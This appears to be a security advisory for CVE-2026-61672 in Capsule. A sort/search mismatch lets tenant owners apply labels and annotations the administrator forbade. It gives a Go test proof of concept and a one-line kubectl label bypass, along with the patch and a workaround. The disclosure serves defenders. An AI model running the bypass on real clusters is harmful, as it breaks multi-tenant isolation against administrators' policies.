high · 7.1CVE-2026-61672Sep 18, 2026

CVE-2026-61672: Capsule Tenant Forbidden Metadata Enforcement Bypass

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A sorting bug in Capsule's forbidden-metadata checker lets a tenant owner apply labels or annotations the cluster administrator explicitly blocked, silently breaking multi-tenant isolation on…

Packagegithub.com/projectcapsule/capsule
Ecosystemgo
Affected<= 0.13.6
Fixed in0.13.7

The problem

Capsule enforces administrator-defined forbidden metadata keys (labels and annotations) on tenant namespaces, Services, and delegated nodes via ForbiddenListSpec.ExactMatch in pkg/api/forbidden_list.go. The function sorts the denied list with a case-insensitive comparator (strings.ToLower) and then searches it with sort.SearchStrings, which assumes plain byte-ascending order.

Those two orderings disagree whenever the list mixes capitalised and lowercase keys, because ASCII uppercase (0x41-0x5A) sorts before lowercase (0x61-0x7A) by byte but is interleaved by ToLower. The binary search lands on the wrong index and returns false for a key that is literally present, so ValidateForbidden returns nil and the admission webhook allows the forbidden metadata.

Any authenticated tenant owner (no cluster-admin rights required) can exploit this deterministically with a single kubectl label or kubectl annotate call. The precondition is that the administrator's denied list mixes at least one capitalised key with lowercase keys, which is realistic: vendor/operator CamelCase labels are routinely denied alongside kubernetes.io/... keys.

A uniformly lowercase list is not affected.

Proof of concept

A working proof-of-concept for CVE-2026-61672 in github.com/projectcapsule/capsule, with the exact payload below.

bash
# Minimal root-cause reproducer (from advisory PoC, pkg/api layer)
# Denied list: ["kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy"]
# Mixed-case list causes sort.SearchStrings to miss two of the three entries.

# Step 1 – clone the vulnerable version
git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git
cd capsule

# Step 2 – drop the PoC test into the package
cat > pkg/api/forbidden_bypass_poc_test.go << 'EOF'
package api

import "testing"

func denied() ForbiddenListSpec {
    return ForbiddenListSpec{
        Exact: []string{
            "kubernetes.io/metadata.name",
            "pod-security.kubernetes.io/enforce",
            "NetworkPolicy",
        },
    }
}

// Two denied keys slip past ValidateForbidden -- webhook would ALLOW them.
func TestPoC_ForbiddenKeysBypassed(t *testing.T) {
    for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
        if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil {
            t.Errorf("BYPASS CONFIRMED: allowed denied key %q", k)
        }
    }
}

// Minimal one-liner: ExactMatch(["B","a"], "B") returns false.
func TestPoC_ExactMatch_RootCause(t *testing.T) {
    spec := ForbiddenListSpec{Exact: []string{"B", "a"}}
    if !spec.ExactMatch("B") {
        t.Errorf("ROOT CAUSE: ExactMatch returned false for a key in the list")
    }
}
EOF

# Step 3 – run
go test ./pkg/api/ -run 'TestPoC_' -v
# Expected: both tests FAIL, confirming the bypass.

# In a live cluster, the equivalent is:
kubectl label namespace <tenant-ns> NetworkPolicy=open
# The admission webhook returns 200 instead of 403.

The root cause is a mismatched sort/search pair. sort.SliceStable with a strings.ToLower comparator produces case-insensitive order, but sort.SearchStrings does a byte-order binary search. With Exact = ["B", "a"], the ToLower sort produces ["a", "B"] (because "a" < "b"). sort.SearchStrings(["a","B"], "B") returns 0 because "a" (0x61) byte-compares >= "B" (0x42), and then "a" != "B" yields not-found, so the forbidden key is treated as allowed.

The patch (commit 755cef54) replaces the sort-and-binary-search logic with a simple linear membership scan, removing the mismatch entirely. The same defect exists in AllowedListSpec.ExactMatch in pkg/api/allowed_list.go, where the polarity is fail-closed (wrongly denying allowed keys) rather than fail-open.

Both are fixed in 0.13.7. CWEs: CWE-697 (Incorrect Comparison) and CWE-863 (Incorrect Authorization).

The fix

Upgrade to **capsule v0.13.7** (patch commit 755cef54bf4a1bc56d6692130132bc70755bef46, PR #1982). The fix replaces the mismatched sort/search in ForbiddenListSpec.ExactMatch with a direct linear scan:

``go func (in ForbiddenListSpec) ExactMatch(value string) bool { for _, e := range in.Exact { if e == value { return true } } return false } ``

As a short-term workaround if upgrading immediately is not possible, ensure every entry in every forbiddenLabels and forbiddenAnnotations list is uniformly lowercase. This makes case-insensitive and byte ordering identical and eliminates the exploitable gap, though it is not a complete fix and CamelCase keys would remain unenforceable.

Reported by 5ud0 / Tarmo Technologies.

References: [1][2][3][4][5]

Related research